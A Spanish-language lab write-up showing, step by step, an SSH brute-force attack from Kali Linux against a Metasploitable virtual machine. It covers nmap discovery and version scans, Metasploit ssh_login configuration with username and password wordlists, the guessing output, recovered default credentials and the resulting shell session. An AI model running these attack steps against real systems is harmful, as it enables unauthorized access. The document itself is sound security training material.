

Documentación Explotación De SSH mediante fuerza bruta.

En esta auditoria se hará se explotará un servicio SSH que esta corriendo en una maquina virtual LINUX que se será nuestra maquina víctima. La máquina atacante será un Kali Linux.

Paso 1:

En este paso tenemos que conocer nuestra dirección IP dentro de la red y realizar un mapeo de los dispositivos conectados para encontrar nuestra víctima, para esto usaremos la herramienta de "nmap".

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.100.37 netmask 255.255.255.0 broadcast 192.168.100.255
    inet6 2803:c180:2603:643d:2e4e:1bd4:c35d:3252 prefixlen 64 scopeid 0x0<global>
    inet6 fe80::2c6:5b37:3fea:cd0f prefixlen 64 scopeid 0x20<link>
    inet6 2803:c180:2603:643d::4 prefixlen 128 scopeid 0x0<global>
    ether 08:00:27:c7:e1:36 txqueuelen 1000 (Ethernet)
    RX packets 493 bytes 46294 (45.2 KiB)
    RX errors 0 dropped 357 overruns 0 frame 0
    TX packets 97 bytes 14477 (14.1 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Aquí vemos que nuestra ip es la que termina en .37, lo siguiente es realizar un mapeo de toda la red.

```
(kali@kali)-[~]
$ nmap 192.168.100.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 15:56 EDT
```

Comando de nmap para realizar el mapeo de la red.

```

Nmap scan report for 192.168.100.36
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

```

Aquí ya identificamos a la maquina victima que tiene la ip 192.168.100.36.

Miramos que el puerto 22 tiene abierto el servicio de SSH.

Paso 2:

En el siguiente paso haremos un escaneo de la versión del servicio que esta corriendo en ese puerto.

```

(kali@kali)-[~]
$ nmap -sV 192.168.100.36 -p 22
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-22 16:01 EDT
Nmap scan report for 192.168.100.36
Host is up (0.00027s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

```

Con el comando `nmap -sV` escaneamos la versión del servicio que está corriendo y con `-p 22` es el puerto que seleccionamos. También nos entrega algo de información sobre el sistema operativo.

Paso 3:

usaremos las herramienta de metasploit para usar los auxliares y encontrar el exploit necesario.

```
msf6 > search ssh_login

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  auxiliary/scanner/ssh/ssh_login          normal         No    SSH Login Check Scanner
1  auxiliary/scanner/ssh/ssh_login_pubkey  normal         No    SSH Public Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > 
```

En este caso un `ssh_login`

Lo siguiente es mostrar la información del exploit para comenzar su configuración

```
msf6 auxiliary(scanner/ssh/ssh_login) > info

Name: SSH Login Check Scanner
Module: auxiliary/scanner/ssh/ssh_login
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
todb <todb@metasploit.com>

Check supported:
No

Basic options:
Name          Current Setting  Required  Description
-          -
BLANK_PASSWORDS false          no        Try blank passwords for all users
BRUTEFORCE_SPEED 5              yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS    false         no        Try each user/password couple stored in the current database
DB_ALL_PASS     false         no        Add all passwords in the current database to the list
DB_ALL_USERS    false         no        Add all users in the current database to the list
DB_SKIP_EXISTING none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD        no            no        A specific password to authenticate with
PASS_FILE       no            no        File containing passwords, one per line
RHOSTS         yes           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT          22           yes       The target port
STOP_ON_SUCCESS false          yes       Stop guessing when a credential works for a host
THREADS         1            yes       The number of concurrent threads (max one per host)
USERNAME        no            no        A specific username to authenticate as
USERPASS_FILE   no            no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS    false         no        Try the username as the password for all users
USER_FILE       no            no        File containing usernames, one per line
VERBOSE         false         yes       Whether to print output for all attempts
```

Necesitamos un archivo con las posibles contraseñas para `"PASS_FILE"`.

`RHOST` es la Ip de la maquina que atacaremos.

`"USER_FILE"` es el archivo con los posibles usuarios.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/kali/list
USER_FILE => /home/kali/list
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /home/kali/list/user.txt
USER_FILE => /home/kali/list/user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > 
```

Configuramos el diccionario con los posibles usuarios.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/list/pass.txt
PASS_FILE => /home/kali/list/pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > █
```

Configuramos el diccionario con las posibles contraseñas.

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST 192.168.100.36
RHOST => 192.168.100.36
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/ssh/ssh_login) > █
```

Configuramos la maquina victima en RHOST y con VERBOSE le damos True para que nos vaya mostrando como va el proceso de ataque.

Paso 4:

Verificamos que todas las configuraciones estén bien hechas.

```
Basic options:
Name           Current Setting  Required  Description
-----
BLANK_PASSWORDS false          no        Try blank passwords for all users
BRUTEFORCE_SPEED 5              yes       How fast to bruteforce, from 0 to 5
DB_ALL_CREDS     false         no        Try each user/password couple stored in the current database
DB_ALL_PASS      false         no        Add all passwords in the current database to the list
DB_ALL_USERS     false         no        Add all users in the current database to the list
DB_SKIP_EXISTING none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD         no            no        A specific password to authenticate with
PASS_FILE        /home/kali/list/pass.txt no        File containing passwords, one per line
RHOSTS           192.168.100.36 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           22            yes       The target port
STOP_ON_SUCCESS  false         yes       Stop guessing when a credential works for a host
THREADS         1             yes       The number of concurrent threads (max one per host)
USERNAME         no            no        A specific username to authenticate as
USERPASS_FILE    no            no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS     false         no        Try the username as the password for all users
USER_FILE        /home/kali/list/user.txt no        File containing usernames, one per line
VERBOSE          true          yes       Whether to print output for all attempts
```

Paso 5:

Iniciar el ataque de fuerza bruta.

```
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 192.168.100.36:22 - Starting bruteforce
```

Este ataque ira probando todas las combinaciones posibles para encontrar las credenciales.

```
[ -] 192.168.100.36:22 - Failed: 'masf :'  
[ -] 192.168.100.36:22 - Failed: 'masf :adminmsf123'  
[ -] 192.168.100.36:22 - Failed: 'masf :4dm1nmsf@'  
[ -] 192.168.100.36:22 - Failed: 'masf :ms4dmin'  
[ -] 192.168.100.36:22 - Failed: 'masf :123456'  
[ -] 192.168.100.36:22 - Failed: 'masf :msfadmin23'  
[ -] 192.168.100.36:22 - Failed: 'masf :admin'  
[ -] 192.168.100.36:22 - Failed: 'masf :admin10'  
[ -] 192.168.100.36:22 - Failed: 'masf :adminMSF1'  
[ -] 192.168.100.36:22 - Failed: 'masf :msf2'  
[ -] 192.168.100.36:22 - Failed: 'masf :maseffect23'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:msfadmin'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:123456'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:adminmsf123'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:4dm1nmsf@'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:ms4dmin'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:123456'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:msfadmin23'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:admin'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:admin10'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:adminMSF1'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:msf2'  
[ -] 192.168.100.36:22 - Failed: 'msfadmin2:maseffect23'  
[ -] 192.168.100.36:22 - Failed: ':msfadmin'  
[ -] 192.168.100.36:22 - Failed: ':'  
[ -] 192.168.100.36:22 - Failed: ':123456'  
[ -] 192.168.100.36:22 - Failed: ':'  
[ -] 192.168.100.36:22 - Failed: ':adminmsf123'  
[ -] 192.168.100.36:22 - Failed: ':4dm1nmsf@'  
[ -] 192.168.100.36:22 - Failed: ':ms4dmin'  
[ -] 192.168.100.36:22 - Failed: ':123456'  
[ -] 192.168.100.36:22 - Failed: ':msfadmin23'  
[ -] 192.168.100.36:22 - Failed: ':admin'  
[ -] 192.168.100.36:22 - Failed: ':admin10'
```

Aquí podemos ver que esta probando para encontrar las correctas.

```
[ -] 192.168.100.36:22 - Failed: ':maseffect23'  
[+] 192.168.100.36:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),26(audio),27(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Aug 14 22:03:00 UTC 2008 i686 GNU/Linux'
```

Aquí luego de 10 minutos probando encontramos las credenciales.

Paso 6:

Luego de terminado el ataque debemos ver las sesiones creadas e iniciar la sesion.

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l

Active sessions
-----

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell linux	SSH kali @	192.168.100.37:38037 → 192.168.100.36:22 (192.168.100.36)

aquí podemos ver que tenemos una sesión creada.

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1 ...

whoami
msfadmin

```

Aquí ya iniciamos la sesión por ssh y para corroborar escribimos el comando whoami nos muestra el usuario que inicio la sesión.

En este punto ya estamos dentro de la maquina victima.